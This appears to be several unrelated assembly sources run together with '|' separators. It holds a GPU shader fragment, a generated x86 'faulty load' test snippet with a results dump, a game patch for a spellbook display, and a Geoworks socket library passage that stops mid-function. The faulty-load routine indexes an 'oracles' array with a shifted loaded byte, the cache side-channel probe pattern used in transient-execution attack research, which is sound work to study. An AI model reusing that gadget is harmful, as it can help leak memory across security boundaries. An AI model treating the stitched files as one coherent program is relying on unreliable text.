mul (16|M0) acc0.0<1>:f r110.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r110.0<1>:ud acc0.0<8;8,1>:f
mov (16|M0) r97.0<1>:uw r104.0<16;8,2>:uw
mov (16|M0) r99.0<1>:uw r106.0<16;8,2>:uw
mov (16|M0) r101.0<1>:uw r108.0<16;8,2>:uw
mov (16|M0) r103.0<1>:uw r110.0<16;8,2>:uw
send (16|M0) r104:uw r13:ub 0x2 a0.0
mul (8|M0) acc0.0<1>:f r25.5<0;1,0>:f 2.0:f
add (8|M0) r16.0<1>:f acc0.0<8;8,1>:f r16.0<8;8,1>:f
add (8|M0) r17.0<1>:f acc0.0<8;8,1>:f r17.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r104.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r104.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r106.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r106.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r108.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r108.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r110.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r110.0<1>:ud acc0.0<8;8,1>:f
mov (16|M0) r18.0<1>:uw r104.0<16;8,2>:uw
mov (16|M0) r10.0<1>:uw r106.0<16;8,2>:uw
mov (16|M0) r11.0<1>:uw r108.0<16;8,2>:uw
mov (16|M0) r12.0<1>:uw r110.0<16;8,2>:uw
send (16|M0) r104:uw r13:ub 0x2 a0.0
mul (16|M0) acc0.0<1>:f r104.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r104.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r106.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r106.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r108.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r108.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r110.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r110.0<1>:ud acc0.0<8;8,1>:f
mov (16|M0) r105.0<1>:uw r104.0<16;8,2>:uw
mov (16|M0) r107.0<1>:uw r106.0<16;8,2>:uw
mov (16|M0) r109.0<1>:uw r108.0<16;8,2>:uw
mov (16|M0) r111.0<1>:uw r110.0<16;8,2>:uw
mov (16|M0) r104.0<1>:uw r18.0<16;16,1>:uw
mov (16|M0) r106.0<1>:uw r10.0<16;16,1>:uw
mov (16|M0) r108.0<1>:uw r11.0<16;16,1>:uw
mov (16|M0) r110.0<1>:uw r12.0<16;16,1>:uw
mov (1|M0) a0.8<1>:uw 0xC00:uw
mov (1|M0) a0.9<1>:uw 0xC40:uw
mov (1|M0) a0.10<1>:uw 0xC80:uw
mov (1|M0) a0.11<1>:uw 0xCC0:uw
add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x100:uw
L1488:
nop
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r8
push %r9
push %rbp
push %rcx
push %rdx
lea addresses_WC_ht+0xaf41, %r9
nop
nop
nop
nop
nop
cmp $5064, %rbp
mov $0x6162636465666768, %rdx
movq %rdx, (%r9)
nop
nop
nop
dec %r9
lea addresses_WT_ht+0xb741, %rdx
nop
nop
inc %r9
movb $0x61, (%rdx)
nop
nop
nop
nop
cmp %r8, %r8
lea addresses_UC_ht+0x3981, %rcx
nop
nop
nop
nop
sub %r13, %r13
mov $0x6162636465666768, %rdx
movq %rdx, %xmm7
vmovups %ymm7, (%rcx)
nop
nop
and $27521, %r8
lea addresses_normal_ht+0x5901, %rdx
nop
nop
sub $52348, %rbp
mov $0x6162636465666768, %r13
movq %r13, %xmm3
and $0xffffffffffffffc0, %rdx
movaps %xmm3, (%rdx)
nop
nop
nop
nop
nop
sub $55315, %rcx
pop %rdx
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %rax
push %rbp
push %rdi
push %rdx
push %rsi
// Load
mov $0xa1, %rdi
add $57605, %rbp
mov (%rdi), %eax
nop
xor %rdx, %rdx
// Store
lea addresses_D+0x51f9, %r10
nop
nop
nop
add %rbp, %rbp
mov $0x5152535455565758, %rdi
movq %rdi, (%r10)
nop
add %rbp, %rbp
// Faulty Load
lea addresses_A+0x5741, %rdx
cmp $24861, %r12
mov (%rdx), %r10d
lea oracles, %rdi
and $0xff, %r10
shlq $12, %r10
mov (%rdi,%r10,1), %r10
pop %rsi
pop %rdx
pop %rdi
pop %rbp
pop %rax
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 6, 'size': 16, 'same': True, 'NT': True}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; Draws the spellbook displaying spell runes in place of reagent counts on
; spells if the Shift key is held.
startPatch EXE_LENGTH, printRuneTextOnSpellbook
%macro SpellbookDialog_update_stackFrame 0
%assign .arg_pn_viewport 0x08
%assign .var_x -0x08
%assign .var_y -0x0A
%assign .var_spellNumber -0x0C
%assign .var_selectedCircle -0x10
%assign .var_string -0x22
%assign .var_template -0x26
%assign .var_fontNumber -0x28
%endmacro
startBlockAt addr_SpellbookDialog_update_printReagentCount
SpellbookDialog_update_stackFrame
mov ax, [bp+.var_selectedCircle]
shl ax, 3
add ax, di
mov [bp+.var_spellNumber], ax
push ax
lea ax, [si+SpellbookDialog_ibo]
push ax ; pn_spellbookIbo
callFromOverlay doesSpellbookHaveSpell
pop cx
pop cx
test al, al
jz .afterPrinting
jmp calcJump(off_needStringAndFont)
; ---------
off_backForSpellRunes EQU block_currentOffset
.displaySpellRunes:
mov word [bp+.var_fontNumber], Font_RED
; assuming that eop-castByKey has initialized the CastByKey data
push VOODOO_SELECTOR
pop fs
movzx ecx, word [bp+.var_spellNumber]
mov ebx, [dseg_pf_castByKeyData]
mov eax, [fs:ebx+CastByKey_spellRunes + ecx*8+0]
mov edx, [fs:ebx+CastByKey_spellRunes + ecx*8+4]
mov dword [bp+.var_string+0], eax
mov dword [bp+.var_string+4], edx
mov byte [bp+.var_string+8], 0
; ---------
off_haveStringAndFont EQU block_currentOffset
; account for right-alignment of text
add word [bp+.var_x], 10
lea ax, [bp+.var_string]
push ax
push TextAlignment_RIGHT | TextAlignment_TOP
push word [bp+.var_fontNumber]
push word [bp+.var_y]
push word [bp+.var_x]
push word [bp+.arg_pn_viewport]
callVarArgsEopFromOverlay printText, 6
add sp, 12
.afterPrinting:
times 6 nop
endBlockAt off_SpellbookDialog_update_printReagentCount_end
startBlockAt addr_SpellbookDialog_updateReagentCounts
push bp
mov bp, sp
%assign .arg_pn_this 0x06
%assign .____callerCs 0x04
%assign .____callerIp 0x02
%assign .____callerBp 0x00
%assign .var_itemIbo -0x02
%assign .var_outerBoundIbo -0x04
add sp, .var_outerBoundIbo
push si
mov si, [bp+.arg_pn_this]
mov ax, [si+SpellbookDialog_ibo]
mov [bp+.var_itemIbo], ax
push dseg_avatarIbo
lea ax, [bp+.var_itemIbo]
push ax
push 0
lea ax, [si+SpellbookDialog_containingIbo]
push ax
callFromOverlay getOuterContainer
add sp, 8
lea ax, [si+SpellbookDialog_containingIbo]
push ax
push 0 ; unused
callFromOverlay countReagentsInPossession
pop cx
pop cx
pop si
mov sp, bp
pop bp
retf
; now that SpellbookDialog_updateReagentCounts is shorter, we can use
; this space for what would not fit in SpellbookDialog_update.
; ---------
off_needStringAndFont EQU block_currentOffset
needStringAndFont:
callFromOverlay getLeftAndRightShiftStatus
test ax, ax
jnz calcJump(off_backForSpellRunes)
; (in stack frame of SpellbookDialog_update, above)
SpellbookDialog_update_stackFrame
mov word [bp+.var_fontNumber], Font_TINY_GLOWING_BLUE
; display no count for a free spell
mov bx, [bp+.var_spellNumber]
cmp byte [dseg_reagentCountForSpell+bx], 0
jl .useNothing
%ifdef off_isAvatarWearingRingOfReagents
callFromOverlay isAvatarWearingRingOfReagents
test al, al
jz .notInfinity
mov dword [bp+.var_string], ` #\0\0`
jmp .haveString
.notInfinity:
%endif
mov bx, [bp+.var_spellNumber]
movzx ax, [dseg_reagentCountForSpell+bx]
; don't display a zero count
test ax, ax
jz .useNothing
push ax
mov dword [bp+.var_template], `%3d\0`
lea ax, [bp+.var_template]
push ax
lea ax, [bp+.var_string]
push ax
callFromOverlay sprintf
add sp, 6
jmp .haveString
.useNothing:
mov byte [bp+.var_string], 0
.haveString:
jmp calcJump(off_haveStringAndFont)
times 10 nop
endBlockAt off_SpellbookDialog_updateReagentCounts_end
endPatch
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1994 -- All Rights Reserved
GEOWORKS CONFIDENTIAL
PROJECT: Network extensions
MODULE: socket library
FILE: socketPacket.asm
AUTHOR: Eric Weber, May 23, 1994
ROUTINES:
Name Description
---- -----------
INT PacketAttach create a huge lmem for packets
INT PacketDetach free the huge lmem for packets
EXT SendConnectionControl Send a connection control packet
EXT ConnectionControlReply Reply to a connection control packet (send
another CCP to the sender of the first
packet)
INT SocketRecvLow Fetch a sequenced packet for the user
INT SocketAllocRecvSem Setup a semaphore for a recv
INT SocketVerifyRecvState Analyze socket's state for purposes of recv
INT SocketGetUrgent Get data from a socket
INT SocketGetUrgentRegs Copy data from a dword register into memory
INT SocketGetUrgentChunk Copy data from a huge lmem chunk
INT SocketGetData Get data from a socket
INT SocketRecvCallback Copy data from one packet into user's
buffer
INT SocketGetDataAddress Get address from first packet in a datagram
socket
INT SocketSendSequencedLink Send a sequenced packet via link driver
INT SocketSendSequencedData Send a sequenced packet via data driver
INT SocketSendDatagram Create and send a datagram packet
INT ReceiveConnectionControlPacket
Handle a connection control packet
INT ReceiveLinkDataPacket Find a home for an incoming data packet
INT ReceiveSequencedDataPacket
Receive a sequenced packet from a data
driver
INT ReceiveDatagramDataPacket
Receive a datagram packet from a data
driver
INT ReceiveUrgentDataPacket Store an urgent packet into a socket
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 5/23/94 Initial revision
DESCRIPTION:
$Id: socketPacket.asm,v 1.50 97/11/06 20:51:28 brianc Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SMALL_BLOCK_SIZE equ 4000
LARGE_BLOCK_SIZE equ 8000
udata segment
packetHeap word ; handle of huge lmem containing packets
sendTimeout word ; time to wait for send queue to empty
udata ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetPacketHeap
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the hugelmem handle containing packets
PASS: nothing
RETURN: bx - hugelmem handle
es - dgroup
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 11/21/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetPacketHeap macro
mov bx, handle dgroup
call MemDerefES
mov bx, es:[packetHeap]
endm
UtilCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PacketAttach
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: create a huge lmem for packets
CALLED BY: (INTERNAL) SocketEntry
PASS: nothing
RETURN: carry set on error
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
*HACK* ax should be set from ini file
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 5/23/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PacketAttach proc near
uses ax,bx,cx,ds
.enter
mov ax, 0 ; *HACK* max # of blocks
mov bx, SMALL_BLOCK_SIZE
mov cx, LARGE_BLOCK_SIZE ; maximum size of a block
call HugeLMemCreate ; bx = handle
jc done
push bx
mov bx, handle dgroup
call MemDerefDS ; ds = dgroup
pop bx
mov ds:[packetHeap], bx ; save handle
done:
.leave
ret
PacketAttach endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PacketDetach
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: free the huge lmem for packets
CALLED BY: (INTERNAL) SocketEntry
PASS: nothing
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 6/ 6/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PacketDetach proc near
uses bx,es
.enter
GetPacketHeap
call HugeLMemDestroy
.leave
ret
PacketDetach endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SendConnectionControl
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send a connection control packet
CALLED BY: (EXTERNAL) ConnectionControlReply, FreeListenQueueCallback,
SocketAccept, SocketClearConnection, SocketConnect,
SocketSendClose
PASS: ax ConnectionControlOperation
ON STACK:
PacketInfo (pushed first)
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 5/23/94 Init1ial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SendConnectionControl proc far info:PacketInfo
uses ax,bx,cx,dx,si,ds,es
operation local ConnectionControlOperation
packetSize local word
.enter
mov ss:[operation], al
;
; compute size of final packet
;
mov ax, size ConnectionControlPacket
mov ss:[packetSize], ax
add ax, ss:[info].PI_headerSize
;
; allocate a chunk for it
;
clr cx ; don't wait for memory
GetPacketHeap ; bx = heap
call HugeLMemAllocLock ;^lax:cx = new buffer,
; ds:di = new buffer
jnc init
EC < WARNING CANT_ALLOCATE_CONTROL_PACKET >
jmp done
;
; initialize driver header
;
init:
mov ds:[di].PH_dataSize, size ConnectionControlPacket
segmov ds:[di].PH_dataOffset, ss:[info].PI_headerSize, bx
mov ds:[di].PH_flags, PacketFlags <1,0,PT_SEQUENCED>
segmov ds:[di].PH_domain, ss:[info].PI_client, bx
segmov ds:[di].SPH_link, ss:[info].PI_link, bx
;
; initialize library header
;
mov bx, ss:[info].PI_headerSize
add di, bx
mov ds:[di].CCP_type, LPT_CONNECTION_CONTROL
movdw ds:[di].CCP_source, ss:[info].PI_srcPort, bx
movdw ds:[di].CCP_dest, ss:[info].PI_destPort, bx
segmov ds:[di].CCP_opcode, ss:[operation], bl
;
; unlock the packet
;
mov bx, ax
call HugeLMemUnlock
;
; verify the packet
;
verify::
EC < push cx,dx >
EC < mov dx,cx ; offset of packet >
EC < mov cx,ax ; handle of packet >
EC < call ECCheckOutgoingPacket >
EC < pop cx,dx >
;
; send the packet (^lax:cx)
;
send::
push bp ; save frame pointer
pushdw ss:[info].PI_entry ; save entry point
pushdw axcx ; save packet
mov ax, -1 ; no timeout
mov bx, ss:[info].PI_link ; link handle
mov cx, ss:[packetSize] ; size of packet
popdw dxbp ; packet optr
mov si, SSM_NORMAL
mov di, DR_SOCKET_SEND_DATA ; SocketFunction
callDriver::
call PROCCALLFIXEDORMOVABLE_PASCAL ; send the packet
pop bp ; bp = frame pointer
done::
.leave
ret @ArgSize
SendConnectionControl endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConnectionControlReply
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reply to a connection control packet
(send another CCP to the sender of the first packet)
CALLED BY: (EXTERNAL) ConnectionAccept, ConnectionOpen
PASS: ds - control segment (locked for write)
es:di - PacketHeader of original packet
cx - offset of ConnectionControlPacket from es:di
ax - ConnectionControlOperation to send
RETURN: ds - possibly moved
DESTROYED: es
SIDE EFFECTS: unlocks and relocks control segment
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 6/ 5/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConnectionControlReply proc far
uses ax,bx,cx,dx,si,di,bp
.enter
;
; allocate a PacketInfo
;
sub sp, size PacketInfo
mov bx, sp
push ax ; save CCO
;
; copy some info from the PacketHeader
;
segmov ss:[bx].PI_link, es:[di].SPH_link, dx
mov dx, es:[di].PH_domain ; dx = domain handle
;
; copy some info from the ConnectionControlPacket
;
add di, cx
movdw ss:[bx].PI_srcPort, es:[di].CCP_dest, ax
movdw ss:[bx].PI_destPort, es:[di].CCP_source, ax
;
; copy some info from the DomainInfo
;
mov si, dx
mov si, ds:[si]
segmov ss:[bx].PI_client, ds:[si].DI_client, ax
movdw ss:[bx].PI_entry, ds:[si].DI_entry, ax
mov al, ds:[si].DI_seqHeaderSize
clr ah
mov ss:[bx].PI_headerSize, ax
;
; unlock control segment and send packet
;
call SocketControlEndWrite
pop ax ; ax=ConnectionControlOperation
call SendConnectionControl
;
; relock control segment and exit
;
call SocketControlStartWrite
.leave
ret
ConnectionControlReply endp
UtilCode ends
ExtraApiCode segment resource
FixedCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketRecvLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Fetch a sequenced packet for the user
CALLED BY: (INTERNAL) SocketRecv
PASS: bx = Socket
es:di = buffer for received data
cx = size of buffer
bp = timeout (in ticks)
si = SocketReceiveFlags
ds = control segment (locked for read)
ON STACK
fptr to SocketAddress structure
SA_domain, SA_domainSize, SA_addressSize initialized
RETURN:
cx = size of data received
es:di = filled in with data
ax = SocketError
SE_TIMED_OUT
SE_CONNECTION_FAILED
SE_CONNECTION_CLOSED
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 6/ 5/94 Initial version
brianc 10/22/98 Moved into fixed code for resolver
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketRecvLow proc far abuf:fptr
uses bx,dx,si,di,bp
socketHan local word push bx
buffer local fptr push es,di
bufSize local word push cx
bufRemaining local word push cx
flags local SocketRecvFlags push si
deliveryType local SocketDeliveryType
dataSize local word
pktCount local word
dataOffset local word
header local word
timeout local dword
ForceRef abuf
ForceRef socketHan
ForceRef buffer
ForceRef bufSize
ForceRef bufRemaining
ForceRef flags
ForceRef deliveryType
ForceRef dataSize
ForceRef pktCount
ForceRef dataOffset
ForceRef header
.enter
;
; compute the timeout information
;
lea ax, ss:[timeout]
call SocketSetupTimeout
;
; set up the semaphore
;
mov di, ds:[bx] ; ds:di = SocketInfo
call SocketAllocRecvSem ; bx=semaphore
jnc checkState
mov ax, SE_SOCKET_BUSY
jmp exit
;
; analyze the socket's state
;
checkState:
call SocketVerifyRecvState
jc timedOut
;
; see if data is available
;
checkData::
test si, mask SRF_URGENT
jz checkQueue
;
; check for urgent data
;
checkUrgent::
and ds:[di].SI_flags, not mask SF_EXCEPT
tst ds:[di].SSI_urgentSize
jz noData
call SocketGetUrgent
jmp cleanup
;
; check the data queue
;
checkQueue:
call SocketCheckQueue
jc noData
call SocketGetData
jmp cleanup
;
; no data, see if we should wait for data
;
noData:
tst dx
jz timedOut
;
; go ahead and wait
;
waitData::
lea cx, ss:[timeout] ; ss:cx = timeout
call SocketControlEndRead
call SocketPTimedSem ; carry set if timeout
;
; if we timed out, exit with error code set above
; otherwise back to the top and check the state again
;
pastBlock::
call SocketControlStartRead
mov di, ss:[socketHan]
mov di, ds:[di]
jnc checkState
timedOut:
clr cx
stc
;
; clean up any semaphore still in the socket
;
; this is done last, since the existence of the semaphore prevents
; any other recv from happening on this socket, which would lead
; to nasty race conditions in SocketGetData
;
cleanup:
mov bx, ss:[socketHan]
pushf
test si, mask SRF_URGENT
jz clearWait
call SocketClearExcept
jmp done
clearWait:
call SocketClearSemaphore
done:
popf
exit:
.leave
ret @ArgSize
SocketRecvLow endp
FixedCode ends
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketAllocRecvSem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Setup a semaphore for a recv
CALLED BY: (INTERNAL) SocketRecvLow
PASS: ds:di - SocketInfo
si - SocketReadFlags
RETURN: carry set if socket busy
bx = semaphore to wait on (trashed if carry set)
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 6/23/95 Initial version
brianc 10/22/98 Made far for SocketRecvLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketAllocRecvSem proc far
uses ax,cx,dx,si,di,bp
.enter
;
; allocate a semaphore to wait for data
;
; since we don't have an exclusive lock on the data block
; we need to use the permanent semSem to ensure consistent
; access to waitSem
;
mov bx, ds:[di].SI_semSem
call ThreadPSem ; lock the semSem
;
; if reading URGENT, use the exceptSem
; otherwise use the waitSem
;
test si, mask SRF_URGENT
jz checkWaitSem
;
; see if somebody else is already waiting
;
tst ds:[di].SI_exceptSem
stc
jnz cleanup
;
; if not, allocate a new semaphore and stick it into exceptSem
;
clr bx
call ThreadAllocSem
mov ds:[di].SI_exceptSem, bx
jmp pastAlloc
;
; see if anybody is waiting on the waitSem
;
checkWaitSem:
tst ds:[di].SI_waitSem
stc
jnz cleanup
;
; allocate a new waitSem
;
clr bx ; initial count 0
call ThreadAllocSem ; bx = semaphore
mov ds:[di].SI_waitSem, bx ; store in socket
pastAlloc:
clc
cleanup:
push bx
mov bx, ds:[di].SI_semSem ; bx = semSem
call ThreadVSem ; unlock semSem
pop bx
done::
.leave
ret
SocketAllocRecvSem endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SocketVerifyRecvState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Analyze socket's state for purposes of recv
CALLED BY: (INTERNAL) SocketRecvLow
PASS: ds:di - SocketInfo
si - SocketReadFlags
RETURN: ax - SocketError to give if recv fails
dx - BB_TRUE if timeout should be used
carry - set to abort recv without checking for data
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
EW 6/23/95 Initial version
brianc 10/22/98 Made far for SocketRecvLow
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SocketVerifyRecvState proc far
uses bx,cx,si,di,bp
.enter
;
; abort in case of interrupt
;
test ds:[di].SI_flags, mask SF_INTERRUPT
jz checkException
test si, mask SRF_URGENT
jz interruptReset
;
; if an urgent read is interrupted, check for normal read also
;
